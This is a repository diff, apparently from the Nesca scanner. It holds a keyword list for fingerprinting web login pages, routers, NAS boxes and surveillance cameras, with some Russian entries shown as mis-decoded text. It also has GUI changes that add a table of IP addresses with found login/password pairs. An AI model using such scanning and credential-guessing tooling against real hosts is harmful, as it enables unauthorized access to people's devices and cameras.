gmbh
|
||||||
|
industrial
|
||||||
|
help.html
|
||||||
|
market
|
||||||
|
guarantee
|
||||||
|
h.264
|
||||||
|
h264
|
||||||
|
hc.ru
|
||||||
|
hectrix ltd
|
||||||
|
hipname
|
||||||
|
hipoteka
|
||||||
|
hitron technologies
|
||||||
|
holding page
|
||||||
|
holding_page
|
||||||
|
home gateway
|
||||||
|
home.
|
||||||
|
hosting
|
||||||
|
hostline.ru
|
||||||
|
help desk
|
||||||
|
hotspot login
|
||||||
|
htmlanvview:
|
||||||
|
icecast2
|
||||||
|
ie-plugin
|
||||||
|
iis7
|
||||||
|
iis8
|
||||||
|
images/spacer.jpg
|
||||||
|
images/ub15.gif
|
||||||
|
in construction
|
||||||
|
index.cgi?active
|
||||||
|
index.php?action=login
|
||||||
|
info experts
|
||||||
|
information services 8
|
||||||
|
ingrese usuario
|
||||||
|
inicio
|
||||||
|
initservicecookie
|
||||||
|
inloggen
|
||||||
|
insurance
|
||||||
|
intelligent digital security system
|
||||||
|
into the public_html directory
|
||||||
|
invalid url
|
||||||
|
iomega
|
||||||
|
iis windows
|
||||||
|
customer
|
||||||
|
is functioning normally
|
||||||
|
is under construction
|
||||||
|
ispmanager control panel
|
||||||
|
it work
|
||||||
|
error404
|
||||||
|
404err
|
||||||
|
error500
|
||||||
|
500err
|
||||||
|
407 Proxy
|
||||||
|
ibm websphere
|
||||||
|
is now configured
|
||||||
|
is currently undergoing
|
||||||
|
jbossweb
|
||||||
|
join us
|
||||||
|
joinmember
|
||||||
|
juniper
|
||||||
|
jste heslo
|
||||||
|
kerio connect
|
||||||
|
keyhole peeks
|
||||||
|
kablosuz
|
||||||
|
kloxo control panel
|
||||||
|
kontakt
|
||||||
|
kredyt
|
||||||
|
lacie nas
|
||||||
|
latest tweets
|
||||||
|
legal policies
|
||||||
|
log_off_page.htm
|
||||||
|
login page
|
||||||
|
login para acesso
|
||||||
|
logistics
|
||||||
|
lvrweb
|
||||||
|
epanel
|
||||||
|
commerc
|
||||||
|
official website
|
||||||
|
WebFig
|
||||||
|
in manutenzione
|
||||||
|
Domain is not authorized
|
||||||
|
in costruzione
|
||||||
|
mail_manager
|
||||||
|
magnesium
|
||||||
|
management console
|
||||||
|
mbanking
|
||||||
|
olaHola
|
||||||
|
Wireless N ADSL
|
||||||
|
Account Suspended
|
||||||
|
Session limit reached
|
||||||
|
Aethra
|
||||||
|
meble
|
||||||
|
microsoft exchange
|
||||||
|
mijn account
|
||||||
|
mobile phone was detected
|
||||||
|
mobile web viewer
|
||||||
|
mobile_viewer_login
|
||||||
|
mobile login
|
||||||
|
modem (administrator
|
||||||
|
m&w
|
||||||
|
munin
|
||||||
|
my account
|
||||||
|
my cart
|
||||||
|
my homepage
|
||||||
|
myauth
|
||||||
|
navatom
|
||||||
|
navigate to public landing page
|
||||||
|
netdvrv
|
||||||
|
netsafe utm
|
||||||
|
netsurveillance
|
||||||
|
nettalk
|
||||||
|
netvideo
|
||||||
|
newocx
|
||||||
|
nicht aufgeschaltet
|
||||||
|
no web site
|
||||||
|
no site on this
|
||||||
|
nothing to see
|
||||||
|
nothing here
|
||||||
|
not authorized to view
|
||||||
|
nuuo network video recorder
|
||||||
|
nuuo web
|
||||||
|
ntt docomo
|
||||||
|
nvr
|
||||||
|
no longer available
|
||||||
|
o nas
|
||||||
|
obs-helper/menu.jsp
|
||||||
|
official site
|
||||||
|
olvido su password
|
||||||
|
oncell warning
|
||||||
|
one time payment
|
||||||
|
one web server
|
||||||
|
Welcome to nginx
|
||||||
|
online dating
|
||||||
|
online store
|
||||||
|
oracle application server
|
||||||
|
our partners
|
||||||
|
outlook web
|
||||||
|
oma domain
|
||||||
|
on varattu
|
||||||
|
opening soon
|
||||||
|
openwebmail
|
||||||
|
Directory Listing Denied
|
||||||
|
page=about
|
||||||
|
pagos
|
||||||
|
CodeIgniter
|
||||||
|
parkerad
|
||||||
|
paradox ip module
|
||||||
|
parallels confixx
|
||||||
|
parallels operations automation default
|
||||||
|
parent.location=
|
||||||
|
partners
|
||||||
|
paypal
|
||||||
|
pharmacy
|
||||||
|
phone system
|
||||||
|
phpmyadmin
|
||||||
|
pills
|
||||||
|
place holder
|
||||||
|
placeholder
|
||||||
|
plakaty
|
||||||
|
platinbox
|
||||||
|
please login
|
||||||
|
plesk
|
||||||
|
poker
|
||||||
|
polycom '+model
|
||||||
|
por internet
|
||||||
|
portada
|
||||||
|
portal de
|
||||||
|
postinfo.html
|
||||||
|
price
|
||||||
|
prikol
|
||||||
|
privacy policies
|
||||||
|
virtual private server
|
||||||
|
pro-agro apm
|
||||||
|
produc
|
||||||
|
produtos
|
||||||
|
symfony-project
|
||||||
|
professions
|
||||||
|
sonicwall
|
||||||
|
promo
|
||||||
|
product_id
|
||||||
|
presentation page
|
||||||
|
qnap turbo nas
|
||||||
|
Qloud Server
|
||||||
|
read more
|
||||||
|
redirect server
|
||||||
|
redmine
|
||||||
|
reserviert
|
||||||
|
reg.demos.ru
|
||||||
|
register now
|
||||||
|
registrato
|
||||||
|
register your domain
|
||||||
|
registrarse
|
||||||
|
reklam
|
||||||
|
related searches
|
||||||
|
relatives
|
||||||
|
relaxcms.com
|
||||||
|
remote access controller
|
||||||
|
remote monitoring system
|
||||||
|
remote video surveillance
|
||||||
|
reserved domain
|
||||||
|
residential gateway login
|
||||||
|
restaurant
|
||||||
|
redevelopment
|
||||||
|
rpauth.html
|
||||||
|
rpsys.html
|
||||||
|
ruby on rails
|
||||||
|
ru-center
|
||||||
|
rss buddy
|
||||||
|
roundcube
|
||||||
|
s.r.l.
|
||||||
|
sakura internet
|
||||||
|
sabnzbd
|
||||||
|
samsung digital
|
||||||
|
sapphire journal
|
||||||
|
sbuilder.ru
|
||||||
|
scam_2nd.sis
|
||||||
|
search.
|
||||||
|
searchnut.com
|
||||||
|
searchpage.aspx
|
||||||
|
searchremagnified
|
||||||
|
secure login page
|
||||||
|
securepaynet
|
||||||
|
selectkind.html
|
||||||
|
server application error
|
||||||
|
server default page
|
||||||
|
servicio
|
||||||
|
shared ip
|
||||||
|
sign in now
|
||||||
|
silverlight
|
||||||
|
sistema fenix
|
||||||
|
sistemas
|
||||||
|
site offline
|
||||||
|
site_manager
|
||||||
|
site just created
|
||||||
|
sitemap
|
||||||
|
site is not
|
||||||
|
site_map
|
||||||
|
saitmap
|
||||||
|
stay tuned
|
||||||
|
sitio no encontrado
|
||||||
|
software is running
|
||||||
|
skidki
|
||||||
|
skip intro
|
||||||
|
small business
|
||||||
|
smart switch login
|
||||||
|
smartermail
|
||||||
|
snom
|
||||||
|
sign up
|
||||||
|
sonicwall - authentication
|
||||||
|
spa configuration
|
||||||
|
speed test
|
||||||
|
speedtouch
|
||||||
|
sport
|
||||||
|
skype:
|
||||||
|
src/login.php
|
||||||
|
ssl-vpn/login.esp
|
||||||
|
standalone dvr
|
||||||
|
statcounter
|
||||||
|
status.stm
|
||||||
|
strona w przygotowaniu
|
||||||
|
subsonic
|
||||||
|
sugarcrm
|
||||||
|
sun java system
|
||||||
|
workplace
|
||||||
|
workspace
|
||||||
|
Under Constraction
|
||||||
|
Mobile NAS Router
|
||||||
|
sunny webbox
|
||||||
|
supporto
|
||||||
|
strona w konstrukcji
|
||||||
|
surgeblog
|
||||||
|
Apache Error
|
||||||
|
suspended domain
|
||||||
|
suspendedpage
|
||||||
|
switch administrator
|
||||||
|
sww link
|
||||||
|
synology
|
||||||
|
taobao
|
||||||
|
TopPageFinder.com
|
||||||
|
Sun Microsystems, Inc
|
||||||
|
421 Service is unavailable
|
||||||
|
Echo Service
|
||||||
|
CareerVision
|
||||||
|
teamportal
|
||||||
|
teamviewer
|
||||||
|
AW+ GUI Applet
|
||||||
|
Technotree Web
|
||||||
|
SI-TEC
|
||||||
|
desknet
|
||||||
|
technical support
|
||||||
|
teles.igate
|
||||||
|
tellion
|
||||||
|
tell
|
||||||
|
tell.
|
||||||
|
TEL(
|
||||||
|
fax(
|
||||||
|
Web Management Login
|
||||||
|
IBM HTTP Server
|
||||||
|
no server available
|
||||||
|
tell:
|
||||||
|
tell :
|
||||||
|
tel/
|
||||||
|
fax/
|
||||||
|
tel
|
||||||
|
tel.
|
||||||
|
tel :
|
||||||
|
tel:
|
||||||
|
tel?
|
||||||
|
tel ?
|
||||||
|
tel)
|
||||||
|
AirLibro
|
||||||
|
fax?
|
||||||
|
fax ?
|
||||||
|
termos de uso
|
||||||
|
TP-LINK Wireless
|
||||||
|
RT-N
|
||||||
|
RT-G
|
||||||
|
dir320
|
||||||
|
underconstr
|
||||||
|
test page
|
||||||
|
has been banned
|
||||||
|
the best place
|
||||||
|
the best search
|
||||||
|
the leading
|
||||||
|
the page is not
|
||||||
|
the web server is running
|
||||||
|
this object has moved
|
||||||
|
this website is not configured
|
||||||
|
thomson gateway
|
||||||
|
to log in
|
||||||
|
tomza
|
||||||
|
touchstone status
|
||||||
|
townet 108-30-su
|
||||||
|
tralix
|
||||||
|
transfervolumen
|
||||||
|
trixbox
|
||||||
|
try again later
|
||||||
|
tutorial
|
||||||
|
twitter
|
||||||
|
Tlf.
|
||||||
|
mailto:
|
||||||
|
WJND300
|
||||||
|
Home Page
|
||||||
|
temporar in mentenanta
|
||||||
|
under maintanence
|
||||||
|
under-construction
|
||||||
|
under construct
|
||||||
|
under development
|
||||||
|
under konstruktion
|
||||||
|
under maintenance
|
||||||
|
unimep station controller
|
||||||
|
unsub pag
|
||||||
|
upnp devices
|
||||||
|
url could not be retrieved
|
||||||
|
unohditko salasanan
|
||||||
|
value domain
|
||||||
|
verizon
|
||||||
|
verwaltungskonsole
|
||||||
|
viagra
|
||||||
|
visualsvn
|
||||||
|
voice-over-ip
|
||||||
|
voip gateway
|
||||||
|
voip web
|
||||||
|
velkommen
|
||||||
|
vood
|
||||||
|
visit us
|
||||||
|
varaa itsellesi
|
||||||
|
w@de
|
||||||
|
wade
|
||||||
|
web applications
|
||||||
|
web console
|
||||||
|
web device manager
|
||||||
|
web frontend
|
||||||
|
web hosting
|
||||||
|
web remote access
|
||||||
|
web server setup guide
|
||||||
|
web site creator
|
||||||
|
webage unavailable
|
||||||
|
website does not exist
|
||||||
|
web-based configurator
|
||||||
|
webcamx
|
||||||
|
webconfig
|
||||||
|
webcontrol
|
||||||
|
webguard login
|
||||||
|
webrom
|
||||||
|
website is currently
|
||||||
|
webui administration
|
||||||
|
webview
|
||||||
|
webmail
|
||||||
|
welcome.do
|
||||||
|
web development
|
||||||
|
wimax
|
||||||
|
window.location = "/ui"
|
||||||
|
windows home server
|
||||||
|
windows server
|
||||||
|
windows small business server
|
||||||
|
winkelwagen
|
||||||
|
wordpress
|
||||||
|
wowza
|
||||||
|
www.microsoft.com
|
||||||
|
www.ibm.com
|
||||||
|
www.lacie.com
|
||||||
|
www.sedo.com
|
||||||
|
xenserver
|
||||||
|
CommuniGate Pro
|
||||||
|
MACROSCOP
|
||||||
|
Áóõãàëòåð
|
||||||
|
áþäæåò
|
||||||
|
Welcome to WildFly
|
||||||
|
Welcome to jboss
|
||||||
|
VoIP Router
|
||||||
|
Can't connect to
|
||||||
|
xfinity
|
||||||
|
ñòðîé
|
||||||
|
ñòðîèò
|
||||||
|
VoIP Telephone
|
||||||
|
This site requires JavaScript
|
||||||
|
xtreamer
|
||||||
|
yahoo
|
||||||
|
you are not logged in
|
||||||
|
your explorer is no support frame
|
||||||
|
your website
|
||||||
|
yweb
|
||||||
|
wkrotce
|
||||||
|
àçàðòíûå èãðû
|
||||||
|
àêêîðäû
|
||||||
|
àíåêäîò
|
||||||
|
àïòåê
|
||||||
|
àðõèâ íîâîñòåé
|
||||||
|
â ñòàäèè ðàçðàáîòêè
|
||||||
|
â ðàçðàáîòêå
|
||||||
|
ôèëüì
|
||||||
|
film
|
||||||
|
Íå óäàåòñÿ îòîáðàçèòü ñòðàíèöó
|
||||||
|
page does not exist
|
||||||
|
ïðàâà çàùèùåíû
|
||||||
|
äà÷
|
||||||
|
äåøåâ
|
||||||
|
äåø¸â
|
||||||
|
pm2-web
|
||||||
|
äîñòàâêà
|
||||||
|
çàêàç
|
||||||
|
öåíà
|
||||||
|
çàðàáîòîê â ñåòè
|
||||||
|
çíàêîìñòâà
|
||||||
|
èñòåê ñðîê
|
||||||
|
êàðèêàòóð
|
||||||
|
êîíêóðñ
|
||||||
|
êîíòàêòû
|
||||||
|
êóõíè
|
||||||
|
ãëàâíàÿ ñòðàíèöà
|
||||||
|
ëè÷íûé êàáèíåò
|
||||||
|
ëîòåðå
|
||||||
|
ìåæäóíàðîäí
|
||||||
|
ìîäà
|
||||||
|
ìû ïðåäîñòàâëÿåì
|
||||||
|
íà ðåêîíñòðóêöèè
|
||||||
|
ïîçæå
|
||||||
|
íàéòè ðàáîòó
|
||||||
|
íàõîäèòñÿ â ðàçðàáîòêå
|
||||||
|
íàø áàííåð
|
||||||
|
êîìïàíè
|
||||||
|
íèçêèå öåíû
|
||||||
|
Íåêîððåêòíûé URL
|
||||||
|
Íåâîçìîæíî ïîäêëþ÷èòüñÿ
|
||||||
|
íîâûé àäðåñ
|
||||||
|
ìàãàç
|
||||||
|
î íàñ
|
||||||
|
îñòåâ
|
||||||
|
ïàðòíåðê
|
||||||
|
ïåðåâîä òåêñòîâ
|
||||||
|
ïåðååõà
|
||||||
|
ïåðñîíàëüíûé ñàéò
|
||||||
|
ïèøè
|
||||||
|
ïîäåðæàí
|
||||||
|
îòêëþ÷åí
|
||||||
|
ïðîôèëàêòè÷åñêèå ðàáîòû
|
||||||
|
âðåìåííûå íåóäîáñòâà
|
||||||
|
Íåâåðíûé êëþ÷
|
||||||
|
Seo
|
||||||
|
ïîäïèñàòüñÿ
|
||||||
|
ïîèñê ðàáîòû
|
||||||
|
ïðèêîë
|
||||||
|
ïðîäóêöèÿ
|
||||||
|
ïðîèçâîäñòâ
|
||||||
|
ïðîöåñ³ ðîçðîáêè
|
||||||
|
ðàáîòà â èíòåðíåòå
|
||||||
|
ðåãèñòðàöèè äîìåííûõ
|
||||||
|
ðåêëàìíûå ññûëêè
|
||||||
|
ðåìîíò
|
||||||
|
ñàéò â ðàçðàáîòêå
|
||||||
|
ñàéò íåäîñòóïåí
|
||||||
|
ñàéò êëàíà
|
||||||
|
ñêîðî çàïóñòèòñÿ
|
||||||
|
ñàéò íà ðàçðàáîòêå
|
||||||
|
ñâÿçü ñ íàìè
|
||||||
|
ñêèäê
|
||||||
|
ðàñêðóò
|
||||||
|
ñêîðî îòêðûòèå
|
||||||
|
ñëóæáà ïîääåðæêè
|
||||||
|
ñîçäàíèå íåäîðîãèõ ñàéòîâ
|
||||||
|
ñîçäàíèå ñàéòîâ
|
||||||
|
ñïîíñîðû
|
||||||
|
ñòàðòîâàÿ ñòðàíè
|
||||||
|
ñòèõè
|
||||||
|
òåñòîâàÿ ñòðàíè
|
||||||
|
òåõíè÷åñêèå ðàáîòû
|
||||||
|
óñëóãè
|
||||||
|
ôëåøêè
|
||||||
|
îøèáêà
|
||||||
|
íà õîñòèíãå
|
||||||
|
Fatal error:
|
||||||
|
mc.yandex.ru
|
||||||
|
UNKNOWN HOST
|
||||||
|
Ñàéò çàêðûò
|
||||||
|
?partner
|
||||||
|
õîêêå
|
||||||
|
äîáðî ïîæàëîâàòü â
|
||||||
|
ñòàòóñû
|
||||||
|
âûñêàçûâàíè
|
||||||
|
ôëýøêè
|
||||||
|
ôóòáîë
|
||||||
|
þìîð
|
||||||
|
íîâîñòè
|
||||||
|
íà ðåêîíñòðóêöèè
|
||||||
|
îáíîâëåíèå ñàéòà
|
||||||
|
îôèñ
|
||||||
|
þðèäè÷
|
||||||
|
ñòðàíèöà íå íàéäåíà
|
||||||
|
ïðîäà
|
1055
nesca_3.cpp
1055
nesca_3.cpp
File diff suppressed because it is too large
Load Diff
95
nesca_3.h
95
nesca_3.h
@ -18,6 +18,10 @@
|
|||||||
#include <qtextcodec.h>
|
#include <qtextcodec.h>
|
||||||
#include <libssh/libssh.h>
|
#include <libssh/libssh.h>
|
||||||
|
|
||||||
|
#include <QStringListModel.h>
|
||||||
|
#include <QStandardItemModel.h>
|
||||||
|
#include <QList.h>
|
||||||
|
|
||||||
extern Ui::nesca_3Class *ui;
|
extern Ui::nesca_3Class *ui;
|
||||||
extern bool widgetIsHidden, QOSWait,
|
extern bool widgetIsHidden, QOSWait,
|
||||||
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
|
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
|
||||||
@ -28,18 +32,21 @@ extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSH
|
|||||||
extern QList<int> lstOfLabels;
|
extern QList<int> lstOfLabels;
|
||||||
extern QSystemTrayIcon *tray;
|
extern QSystemTrayIcon *tray;
|
||||||
|
|
||||||
|
extern QStandardItemModel *BAModel;
|
||||||
|
|
||||||
class nesca_3 : public QMainWindow
|
class nesca_3 : public QMainWindow
|
||||||
{
|
{
|
||||||
Q_OBJECT
|
Q_OBJECT
|
||||||
|
|
||||||
public:
|
public:
|
||||||
nesca_3(QWidget *parent = 0);
|
nesca_3(bool isWM, QWidget *parent);
|
||||||
~nesca_3();
|
~nesca_3();
|
||||||
|
|
||||||
void ConnectEvrthng();
|
void ConnectEvrthng();
|
||||||
void ChangeLabelIpRange_Value(QString str);
|
void ChangeLabelIpRange_Value(QString str);
|
||||||
void ChangeLabelIPS_Value(QString str);
|
void ChangeLabelIPS_Value(QString str);
|
||||||
void newListItem(QString str);
|
void newListItem(QString str);
|
||||||
|
static int addBARow(QString ip, QString loginPass, QString percentage);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
static int perc;
|
static int perc;
|
||||||
@ -58,6 +65,8 @@ protected:
|
|||||||
void ChangePingerOK(bool val);
|
void ChangePingerOK(bool val);
|
||||||
void changeNSTrackLabel(bool status);
|
void changeNSTrackLabel(bool status);
|
||||||
void slotPBUpdate();
|
void slotPBUpdate();
|
||||||
|
void slotPB2Update();
|
||||||
|
void slotPB2DrawPointer(int pointer);
|
||||||
void DNSLine_ValueChanged();
|
void DNSLine_ValueChanged();
|
||||||
void slotShowRedVersion();
|
void slotShowRedVersion();
|
||||||
void slotTabChanged(int index);
|
void slotTabChanged(int index);
|
||||||
@ -112,12 +121,13 @@ protected:
|
|||||||
void appendDebugText(QString str);
|
void appendDebugText(QString str);
|
||||||
void appendNotifyText(QString str);
|
void appendNotifyText(QString str);
|
||||||
void appendDefaultText(QString str);
|
void appendDefaultText(QString str);
|
||||||
void appendGreenBAData(QString str);
|
|
||||||
void appendRedBAData(QString str);
|
|
||||||
void STTTerminate();
|
void STTTerminate();
|
||||||
void drawVerboseArcs(unsigned long gTargets);
|
void drawVerboseArcs(unsigned long gTargets);
|
||||||
void finishLoading();
|
void finishLoading();
|
||||||
void slotBlockButtons(bool value);
|
void slotBlockButtons(bool value);
|
||||||
|
//BA TablelistView
|
||||||
|
void slotChangeBARow(const int index, const QString loginPass, const QString percentage);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
QPoint dragPosition;
|
QPoint dragPosition;
|
||||||
};
|
};
|
||||||
@ -129,6 +139,85 @@ public:
|
|||||||
public:
|
public:
|
||||||
void contextMenuEvent(QContextMenuEvent *event);
|
void contextMenuEvent(QContextMenuEvent *event);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
class PekoWidget : public QWidget
|
||||||
|
{
|
||||||
|
Q_OBJECT;
|
||||||
|
public:
|
||||||
|
static int m_xPos;
|
||||||
|
static int m_yPos;
|
||||||
|
static int m_windowCounter;
|
||||||
|
static int offset;
|
||||||
|
|
||||||
|
PekoWidget(QWidget *parent = 0) : QWidget(parent)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
PekoWidget(const int qmwXPos, const int qmwYPos, QWidget *parent = 0) : QWidget(parent)
|
||||||
|
{
|
||||||
|
offset = 5;
|
||||||
|
setWindowFlags(Qt::FramelessWindowHint | Qt::SubWindow);
|
||||||
|
installEventFilter(this);
|
||||||
|
setStyleSheet(
|
||||||
|
"background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));");
|
||||||
|
|
||||||
|
if (m_xPos >= 1200) {
|
||||||
|
m_xPos = 305;
|
||||||
|
offset += 5;
|
||||||
|
}
|
||||||
|
setGeometry(qmwXPos - m_xPos, qmwYPos + m_yPos, 300, 200);
|
||||||
|
if (m_windowCounter++ < 3) {
|
||||||
|
m_yPos += 200 + offset;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
m_windowCounter = 0;
|
||||||
|
m_xPos += 305;
|
||||||
|
m_yPos = 0;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
protected:
|
||||||
|
bool switchWindows;
|
||||||
|
void paintEvent(QPaintEvent *e)
|
||||||
|
{
|
||||||
|
QPainter painter(this);
|
||||||
|
painter.setPen(QColor(255, 255, 255, 60));
|
||||||
|
painter.drawRoundedRect(0, 0, width() - 1, height() - 1, 0, 1);
|
||||||
|
QWidget::paintEvent(e);
|
||||||
|
|
||||||
|
}
|
||||||
|
void mousePressEvent(QMouseEvent *evt)
|
||||||
|
{
|
||||||
|
switchWindows = false;
|
||||||
|
if (evt->button() == Qt::LeftButton)
|
||||||
|
{
|
||||||
|
switchWindows = true;
|
||||||
|
oldPos = evt->globalPos();
|
||||||
|
evt->accept();
|
||||||
|
}
|
||||||
|
else if (evt->button() == Qt::RightButton)
|
||||||
|
{
|
||||||
|
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||||
|
this->hide();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
void mouseMoveEvent(QMouseEvent *evt)
|
||||||
|
{
|
||||||
|
switchWindows = false;
|
||||||
|
const QPoint delta = evt->globalPos() - oldPos;
|
||||||
|
move(x() + delta.x(), y() + delta.y());
|
||||||
|
oldPos = evt->globalPos();
|
||||||
|
}
|
||||||
|
void mouseReleaseEvent()
|
||||||
|
{
|
||||||
|
if (switchWindows)
|
||||||
|
{
|
||||||
|
switchWindows = false;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
QPoint oldPos;
|
||||||
|
};
|
||||||
|
|
||||||
class PopupMsgWidget : public QWidget
|
class PopupMsgWidget : public QWidget
|
||||||
{
|
{
|
||||||
Q_OBJECT
|
Q_OBJECT
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
<RCC>
|
<RCC>
|
||||||
<qresource prefix="/nesca_3">
|
<qresource prefix="/nesca_3">
|
||||||
<file>small_font.ttf</file>
|
<file>small_font.ttf</file>
|
||||||
|
<file>xc.jpg</file>
|
||||||
<file>nesca.ico</file>
|
<file>nesca.ico</file>
|
||||||
</qresource>
|
</qresource>
|
||||||
</RCC>
|
</RCC>
|
||||||
|
BIN
nesca_3.rc
BIN
nesca_3.rc
Binary file not shown.
293
nesca_3.ui
293
nesca_3.ui
@ -963,7 +963,28 @@ color: rgb(214, 214, 0);</string>
|
|||||||
<widget class="QGraphicsView" name="pbgv">
|
<widget class="QGraphicsView" name="pbgv">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
<x>437</x>
|
<x>451</x>
|
||||||
|
<y>20</y>
|
||||||
|
<width>26</width>
|
||||||
|
<height>102</height>
|
||||||
|
</rect>
|
||||||
|
</property>
|
||||||
|
<property name="styleSheet">
|
||||||
|
<string notr="true">background-color:rgb(38, 38, 38);
|
||||||
|
border: 1px solid rgb(227, 227, 227);
|
||||||
|
border-radius: 3px;</string>
|
||||||
|
</property>
|
||||||
|
<property name="verticalScrollBarPolicy">
|
||||||
|
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||||
|
</property>
|
||||||
|
<property name="horizontalScrollBarPolicy">
|
||||||
|
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||||
|
</property>
|
||||||
|
</widget>
|
||||||
|
<widget class="QGraphicsView" name="pbgv_2">
|
||||||
|
<property name="geometry">
|
||||||
|
<rect>
|
||||||
|
<x>420</x>
|
||||||
<y>20</y>
|
<y>20</y>
|
||||||
<width>26</width>
|
<width>26</width>
|
||||||
<height>102</height>
|
<height>102</height>
|
||||||
@ -1640,6 +1661,9 @@ border-radius: 3px;</string>
|
|||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QTextBrowser" name="dataText">
|
<widget class="QTextBrowser" name="dataText">
|
||||||
|
<property name="enabled">
|
||||||
|
<bool>true</bool>
|
||||||
|
</property>
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
<x>20</x>
|
<x>20</x>
|
||||||
@ -1701,68 +1725,6 @@ p, li { white-space: pre-wrap; }
|
|||||||
<bool>false</bool>
|
<bool>false</bool>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QLabel" name="labelStatus">
|
|
||||||
<property name="geometry">
|
|
||||||
<rect>
|
|
||||||
<x>19</x>
|
|
||||||
<y>783</y>
|
|
||||||
<width>41</width>
|
|
||||||
<height>10</height>
|
|
||||||
</rect>
|
|
||||||
</property>
|
|
||||||
<property name="sizePolicy">
|
|
||||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
|
||||||
<horstretch>0</horstretch>
|
|
||||||
<verstretch>0</verstretch>
|
|
||||||
</sizepolicy>
|
|
||||||
</property>
|
|
||||||
<property name="minimumSize">
|
|
||||||
<size>
|
|
||||||
<width>0</width>
|
|
||||||
<height>0</height>
|
|
||||||
</size>
|
|
||||||
</property>
|
|
||||||
<property name="font">
|
|
||||||
<font>
|
|
||||||
<family>Small Fonts</family>
|
|
||||||
<pointsize>7</pointsize>
|
|
||||||
</font>
|
|
||||||
</property>
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
|
||||||
</property>
|
|
||||||
<property name="lineWidth">
|
|
||||||
<number>1</number>
|
|
||||||
</property>
|
|
||||||
<property name="text">
|
|
||||||
<string>Status:</string>
|
|
||||||
</property>
|
|
||||||
<property name="wordWrap">
|
|
||||||
<bool>false</bool>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
<widget class="QLabel" name="labelStatus_Value">
|
|
||||||
<property name="geometry">
|
|
||||||
<rect>
|
|
||||||
<x>58</x>
|
|
||||||
<y>783</y>
|
|
||||||
<width>101</width>
|
|
||||||
<height>10</height>
|
|
||||||
</rect>
|
|
||||||
</property>
|
|
||||||
<property name="font">
|
|
||||||
<font>
|
|
||||||
<family>Small Fonts</family>
|
|
||||||
<pointsize>7</pointsize>
|
|
||||||
</font>
|
|
||||||
</property>
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
|
||||||
</property>
|
|
||||||
<property name="text">
|
|
||||||
<string>Idle</string>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
<widget class="QLabel" name="labelTargetsLeft">
|
<widget class="QLabel" name="labelTargetsLeft">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
@ -2031,7 +1993,7 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string>Anomalies</string>
|
<string>Cameras</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="textFormat">
|
<property name="textFormat">
|
||||||
<enum>Qt::AutoText</enum>
|
<enum>Qt::AutoText</enum>
|
||||||
@ -2089,7 +2051,7 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string>Suspicious</string>
|
<string>Other</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QLabel" name="labelBads">
|
<widget class="QLabel" name="labelBads">
|
||||||
@ -2115,7 +2077,7 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string>WebForms</string>
|
<string>--</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QLabel" name="labelOverloads">
|
<widget class="QLabel" name="labelOverloads">
|
||||||
@ -2167,7 +2129,7 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string>Lowloads</string>
|
<string>--</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QPushButton" name="logoLabel">
|
<widget class="QPushButton" name="logoLabel">
|
||||||
@ -2375,63 +2337,13 @@ p, li { white-space: pre-wrap; }
|
|||||||
<set>QGraphicsView::CacheNone</set>
|
